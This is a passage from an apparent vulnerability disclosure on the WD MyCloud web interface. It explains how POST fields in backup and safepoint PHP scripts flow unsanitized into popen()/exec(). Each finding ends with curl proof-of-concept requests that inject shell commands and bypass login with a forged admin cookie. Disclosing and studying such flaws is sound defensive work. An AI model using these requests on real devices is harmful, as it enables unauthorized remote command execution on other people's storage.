curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=del&taskname=';touch%20/tmp/a57;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution vulnerability exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "go_jobs".
backups/internal_backup.php
259 case "go_jobs": 260 { 261 $taskname = $_POST['taskname']; 262 263 $pname = sprintf("/tmp/r_%s!_internal", $taskname); 264 @unlink($pname); 265 266 $cmd = sprintf("internal_backup -a '%s' -c jobrun &", $taskname); 267 pclose(popen($cmd, 'r')); 268 sleep(2); 269 270 $r = get_list(); 271 $r->success = true; 272 echo json_encode($r); 273 } 274 break;
On line 261, the posted variable "taskname" is moved into the local variable "$taskname". Then, on line 266, the variable is put into a syntax to be used as the "-a" argument for the "internal_backup" command and is stored in "$cmd". Then, on line 267, PHP’s "popen()" is called with "$cmd" as an argument executing the command within. Because "$taskname" is used without any sanitization, this leads to a command injection vulnerability.
POC
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=go_jobs&taskname=';touch%20/tmp/a58;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution vulnerability exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "stop_jobs".
backups/internal_backup.php
276 case "stop_jobs": 277 { 278 $taskname = $_POST['taskname']; 279 280 stop_job($taskname); 281 282 $pname = sprintf("/tmp/r_%s!_internal", $taskname); 283 @unlink($pname); 284 285 $r = get_list(); 286 $r->success = true; 287 echo json_encode($r); 288 } 289 break;
In the code above, a call to the "stop_job" function with the "$taskname" variable (Ln. 280) allows for command injection in a path identical to the "create", "modify", and "del" "stop_job()" paths mentioned above.
POC
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=stop_jobs&taskname=';touch%20/tmp/a59;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution vulnerability exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "go_restore".
backups/internal_backup.php
291 case "go_restore": 292 { 293 $taskname = $_POST['taskname']; 294 $restore_source = $_POST['restore_source']; 295 296 stop_job($taskname); 297 298 $pname = sprintf("/tmp/r_%s!_internal", $taskname); 299 file_put_contents($pname, "0"); //Cancel 300 301 $list_xml_file = sprintf("/tmp/r_internal!_restore_imcremental_%s.xml", $taskname); 302 if ($restore_source == "")//Sync and Copy 303 $cmd = sprintf("internal_backup -a '%s' -o '%s' -c jobrs &", $taskname, $list_xml_file); 304 else 305 $cmd = sprintf("internal_backup -a '%s' -o '%s' -F %s -c jobrs &", $taskname, $list_xml_file, $_POST['restore_source']); 306 pclose(popen($cmd, 'r')); 307 sleep(2); 308 309 $r = get_list(); 310 $r->success = true; 311 echo json_encode($r); 312 } 313 break;
On lines 293 and 294, the "taskname" and "restore_source" posted variables are moved into local variables "$taskname" and "$restore_source". Then, on line 301, the value from the "$taskname" variable is inserted into the end of a filename prior to the extension (ex: "/tmp/r_internal!_restore_imcremental_%s.xml"). This filename is then inserted into a command for the "internal_backup" binary on lines 303 and lines 305 along with the original "$taskname" variable from which the filename is derived. The "restore_source" posted value is also inserted into the command created on line 305. These commands are stored in the local variable "$cmd", and are then executed through the use of a PHP "popen()" call on line 306. Both $taskname and $restore_source are used without any sanitization allowing for command injection.
In the above there is also a call to the "stop_job" function with the "$taskname" variable (line 296) allowing for command injection in a path identical to the "create", "modify", and "del" "stop_job()" paths mentioned above.
POC
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=go_restore&taskname=';touch%20/tmp/a60;'&restore_source=a" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=go_restore&taskname=a&restore_source=%24(touch%20/tmp/a61)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/backups/elephant_drive.php
Two remote command execution vulnerabilities exists in the "elephant_drive" functionality of the MyCloud web interface
Remote Command Execution
backups/elephant_drive.php
15 $action = $_POST['attion']; 16 $_email = $_POST['e_email']; 17 $_password = $_POST['e_password']; ... 199 case "apply": 200 { 201 $r->errcode = ERR_NONE; 202 203 $enable = $_POST['e_enable']; 204 205 //save to config 206 delfile($config_NAS_path); 207 $fp = fopen($config_NAS_path, 'x'); 208 $_content = sprintf($config_NAS_xml, $enable, $_email, $_password); 209 fwrite($fp, $_content); 210 fclose($fp); 211 212 //Save NAS elephant conf to mtd 213 $cmd = sprintf("access_mtd \"cp -f %s /usr/local/config\"", $config_NAS_path); 214 pclose(popen($cmd, 'r')); 215 216 if ($enable == "1") 217 { 218 $ret = check_account($toURL, $check_agg); 219 if ($ret == ERR_NONE) //The email not used 220 { 221 $r->errcode = ERROR_VAULT_LOGIN_USER_NOT_FOUND; 222 } 223 224 //write etc config 225 delfile($config_etc_path); 226 $fp = fopen($config_etc_path, 'x'); 227 $_content = sprintf($config_etc_xml, $_email, exec("elephant_drive -p '" . $_password . "'")); 228 fwrite($fp, $_content); 229 fclose($fp);
On lines 15-17, the posted variables for "attion", "e_email", and "e_password" are stored into local variables "$action", "$_email", and "$_password". Then, when the "$action" variable is set to "apply", the "apply" case is used which begins on line 201. When this path is taken, the vulnerability is triggered when the variable "$_password" is appended as an argument (Ln. 227) to the "$cmd" variable in a command which executes the "elephant_drive" binary with a PHP "exec()" function call. The "$_password" value is user supplied and used without any sanitization allowing for command injection.
POC
curl -i "http://<IP>/web/backups/elephant_drive.php" --data "attion=apply&e_enable=1&e_email=a&e_password=';touch%20/tmp/a62;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
backups/elephant_drive.php
15 $action = $_POST['attion']; 16 $_email = $_POST['e_email']; 17 $_password = $_POST['e_password']; ... 175 case "create": 176 { 177 $ret = check_account($toURL, $check_agg); 178 if ($ret == ERR_NONE) //The email not used 179 { 180 $reg_agg['t'] = exec("elephant_drive -p " . $_password); //get hash password 181 $ret = create_account($toURL, $reg_agg); 182 $r->errcode = $ret; 183 184 if ($ret == ERR_NONE) 185 $r->success = true; 186 else 187 $r->success = false; 188 } 189 else 190 { 191 $r->errcode = $ret; 192 $r->success = false; 193 } 194 195 echo json_encode($r); 196 } 197 break;
On lines 15-17, the posted variables for "attion", "e_email", and "e_password" are stored into local variables "$action", "$_email", and "$_password". Then, when "$action" is set to "create", the "create" case is used which begins on line 175. Then on line 180, an "exec()" call is made with the contents executing the "elephant_drive" binary with the "-p" argument and the local variable "$_password". Because $_password is user supplied and not sanitized, this allows for command injection.
POC
curl -i "http://<IP>/web/backups/elephant_drive.php" --data "attion=create&[email protected]&e_password=%24(touch%20/tmp/a63)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/addons/safepoints_api.php
Six remote command execution vulnerabilities exists in the "safepoints_api" functionality of the MyCloud web interface
Remote Command Execution
addons/safepoints_api.php
21 $action = $_POST['action']; 22 if ($action == "") $action = $_GET['action']; .. 65 case "usb_get_safepoints": 66 { 67 $sp_path = $_POST['sp_path']; 68 69 $cmd = "killall -SIGKILL discover_dev"; 70 pclose(popen($cmd, 'r')); 71 72 @unlink(SAFEPOINTS_LIST); 73 $cmd = sprintf("discover_dev -l usb -n '%s'", $sp_path); 74 pclose(popen($cmd, 'r')); 75 76 $r = get_safepoint_list(); 77 $r->success = true; 78 echo json_encode($r); 79 } 80 break;
On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "usb_get_safepoints" the code path starting at line 65 is followed. In this segment the vulnerable code begins on line 67 where the posted variable "sp_path" is stored as the local variable "$sp_path". Then, on line 73 the "$sp_path" variable is used as an argument for the "discover_dev" binary and are stored within the "$cmd" variable. On the following line, the command within the "$cmd" variable is executed through the use of a PHP "popen()" call. This is all performed without any sanitization on the user supplied data allowing for command injection.
POC
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=usb_get_safepoints&sp_path=';touch%20/tmp/a64;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
addons/safepoints_api.php
21 $action = $_POST['action']; 22 if ($action == "") $action = $_GET['action']; .. 82 case "usb_do_recover": 83 { 84 $_path = $_POST['path']; 85 $usb_sharename = $_POST['usb_sharename']; 86 $sp_name = $_POST['sp_name']; 87 $hotname = str_replace("\n", "", file_get_contents('/etc/hostname')); 88 89 @unlink(SAFEPOINTS_RESTORE); 90 $cmd = sprintf("sprb -r '%s' -s '%s' -n '%s' -m '%s' &", $_path, $usb_sharename, $sp_name, $hotname); 91 pclose(popen($cmd, 'r')); 92 93 $r->success = true; 94 //$r->cmd = $cmd; 95 echo json_encode($r); 96 } 97 break;
On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "usb_do_recover" the code path starting at line 82 is followed. In this segment, the vulnerable code begins on lines 84-86 where the posted variables for "usb_sharename", "sp_name" and "path" are stored in local variables "$usb_sharename", "$sp_name", and "$_path". These 3 variables are then all used as arguments for the "sprb" binary in a command created and are then stored in the "$cmd" variable (Ln. 90). Following the command being created, on line 91 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. This is all done without sanitization on any of the user supplied input allowing for command injection.
POC
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=usb_do_recover&sp_name=&path=';touch%20/tmp/a65;'&usb_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=usb_do_recover&sp_name=&path=&usb_sharename=';touch%20/tmp/a66;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=usb_do_recover&sp_name=';touch%20/tmp/a67;'&path=&usb_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
addons/safepoints_api.php
21 $action = $_POST['action']; 22 if ($action == "") $action = $_GET['action']; .. 177 case "network_get_sharefolder": 178 { 179 $r->status = -1; 180 $cnt = 0; 181 182 $ip = $_POST['ip']; 183 $user = $_POST['user']; 184 $pwd = $_POST['pwd']; 185 186 $cmd = "killall -SIGKILL discover_dev"; 187 pclose(popen($cmd, 'r')); 188 189 $_filename = sprintf(SAFEPOINTS_SHARE_LIST, $ip); 190 @unlink($_filename); 191 $cmd = sprintf("discover_dev -q %s -u '%s' -p '%s'", $ip, $user, $pwd); 192 pclose(popen($cmd, 'r')); 193 194 if (file_exists($_filename)) 195 { 196 $xml = simplexml_load_file($_filename); 197 198 foreach ($xml->NAS_share as $item) 199 { 200 $r->lists[] = array( 201 'name' => (string)$item->name, 202 'public' => ((string)$item->public == "true") ? true : false, 203 'user' => '', 204 'pwd' => '' 205 ); 206 $cnt++; 207 } 208 $r->total = $cnt; 209 $r->status = (string)$xml->login_status; 210 @unlink($_filename); 211 } 212 213 $r->success = true; 214 echo json_encode($r); 215 } 216 break;
On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "network_get_sharefolder" the code path starting at line 177 is followed. In this segment, the vulnerable code begins on lines 182-184 where the posted variables for "ip", "user" and "pwd" are stored in local variables "$ip", "$user", and "$pwd". Then, on line 191, the three variables are inserted within the proper syntax as arguments for the "discover_dev" binary and are stored in the "$cmd" variable. Then, on line 192 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. All of the above is accomplished without ever sanitizing any of the user input within allowing for command injection.
POC
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_sharefolder&user=';touch%20/tmp/a68;'&ip=&pwd=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_sharefolder&user=&ip=&pwd=';touch%20/tmp/a69;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_sharefolder&user=&ip=%24(touch%20/tmp/a70)&pwd=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
addons/safepoints_api.php
21 $action = $_POST['action']; 22 if ($action == "") $action = $_GET['action']; .. 218 case "network_share_auth": 219 { 220 $r->success = false; 221 222 $ip = $_POST['ip']; 223 $username = $_POST['username']; 224 $password = $_POST['password']; 225 $sharename = $_POST['sharename']; 226 227 @unlink(SAFEPOINTS_LIST); 228 $cmd = sprintf("discover_dev -l network -i '%s' -n '%s' -u '%s' -p '%s'", $ip, $sharename, $username, $password); 229 pclose(popen($cmd, 'r')); 230 231 if (file_exists(SAFEPOINTS_LIST)) 232 { 233 $xml = simplexml_load_file(SAFEPOINTS_LIST); 234 $r->status = (string)$xml->status; 235 $r->success = true; 236 } 237 238 //$r->cmd = $cmd; 239 echo json_encode($r); 240 } 241 break;
On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "network_share_auth" the code path starting at line 218 is followed. In this segment the vulnerable code begins on lines 222-225 where the posted variables for "ip", "username", "password", and "sharename" are stored in local variables "$ip", "$username", "$password", and "$sharename". Then on line 228, the four variables are inserted within the proper syntax as arguments for the "discover_dev" binary and are stored in the "$cmd" variable. Following, on line 229 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. All of the above is accomplished without ever sanitizing any of the user input within allowing for arbitrary command injection.
POC
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_share_auth&username=';touch%20/tmp/a71;'&password=&ip=&sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_share_auth&username=&password=';touch%20/tmp/a72;'&ip=&sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_share_auth&username=&password=&ip=';touch%20/tmp/a73;'&sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_share_auth&username=&password=&ip=&sharename=';touch%20/tmp/a74;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
addons/safepoints_api.php
21 $action = $_POST['action']; 22 if ($action == "") $action = $_GET['action']; .. 243 case "network_get_safepoints": 244 { 245 $ip = $_POST['ip']; 246 $username = $_POST['username']; 247 $password = $_POST['password']; 248 $sp_sharename = $_POST['sp_sharename']; 249 250 $cmd = "killall -SIGKILL discover_dev"; 251 pclose(popen($cmd, 'r')); 252 253 @unlink(SAFEPOINTS_LIST); 254 $cmd = sprintf("discover_dev -l network -i '%s' -n '%s' -u '%s' -p '%s'", $ip, $sp_sharename, $username, $password); 255 pclose(popen($cmd, 'r')); 256 257 $r = get_safepoint_list(); 258 $r->success = true; 259 echo json_encode($r); 260 } 261 break;
On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "network_get_safepoints" the code path starting at line 243 is followed. In this segment the vulnerable code begins on lines 245-248 where the posted variables for "ip", "username", "password", and "sp_sharename" are stored in local variables "$ip", "$username", "$password", and "$sp_sharename". Then, on line 254, the four variables are inserted within the proper syntax as arguments for the "discover_dev" binary and are stored in the "$cmd" variable. Following, on line 255 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. All of the above is accomplished without ever sanitizing any of the user input within, allowing for arbitrary command injection.
POC
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_safepoints&username=&password=&ip=&sp_sharename=';touch%20/tmp/a75;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_safepoints&username=&password=&ip=';touch%20/tmp/a76;'&sp_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_safepoints&username=&password=';touch%20/tmp/a77;'&ip=&sp_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_safepoints&username=';touch%20/tmp/a78;'&password=&ip=&sp_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
addons/safepoints_api.php
21 $action = $_POST['action']; 22 if ($action == "") $action = $_GET['action']; .. 263 case "network_do_recover": 264 { 265 $ip = $_POST['ip']; 266 $share_name = $_POST['share_name']; 267 $username = $_POST['username']; 268 $password = $_POST['password']; 269 $sp_name = $_POST['sp_name']; 270 $hostname = $_POST['hostname']; 271 272 @unlink(SAFEPOINTS_PASSWORD); 273 file_put_contents(SAFEPOINTS_PASSWORD, $password); 274 275 @unlink(SAFEPOINTS_RESTORE); 276 $cmd = sprintf("sprb -i %s -s '%s' -u '%s' -p '%s' -n '%s' -m '%s' &", $ip, $share_name, $username, SAFEPOINTS_PASSWORD, $sp_name, $hostname); 277 pclose(popen($cmd, 'r')); 278 279 $r->success = true; 280 //$r->cmd = $cmd; 281 echo json_encode($r); 282 } 283 break;
On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "network_do_recover" the code path starting at line 263 is followed. In this segment the vulnerable code begins on lines 265-270 where the posted variables for "ip", "share_name", "username", "sp_name", and "hostname" are stored in local variables "$ip", "$share_name", "$username", "$sp_name", and "$hostname". Then, on line 276, the five variables are inserted within the proper syntax as arguments for the "discover_dev" binary and are stored in the "$cmd" variable. Following, on line 277 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. All of the above is accomplished without ever sanitizing any of the user input within allowing for arbitrary command injection.
POC
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=';touch%20/tmp/a79;'&password=&ip=&sp_name=&hostname=&share_name=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=&password=&ip=%24(touch%20/tmp/a80)&sp_name=&hostname=&share_name=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=&password=&ip=&sp_name=&hostname=&share_name=';touch%20/tmp/a81;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=&password=&ip=&sp_name=';touch%20/tmp/a82;'&hostname=&share_name=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=&password=&ip=&sp_name=&hostname=';touch%20/tmp/a83;'&share_name=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""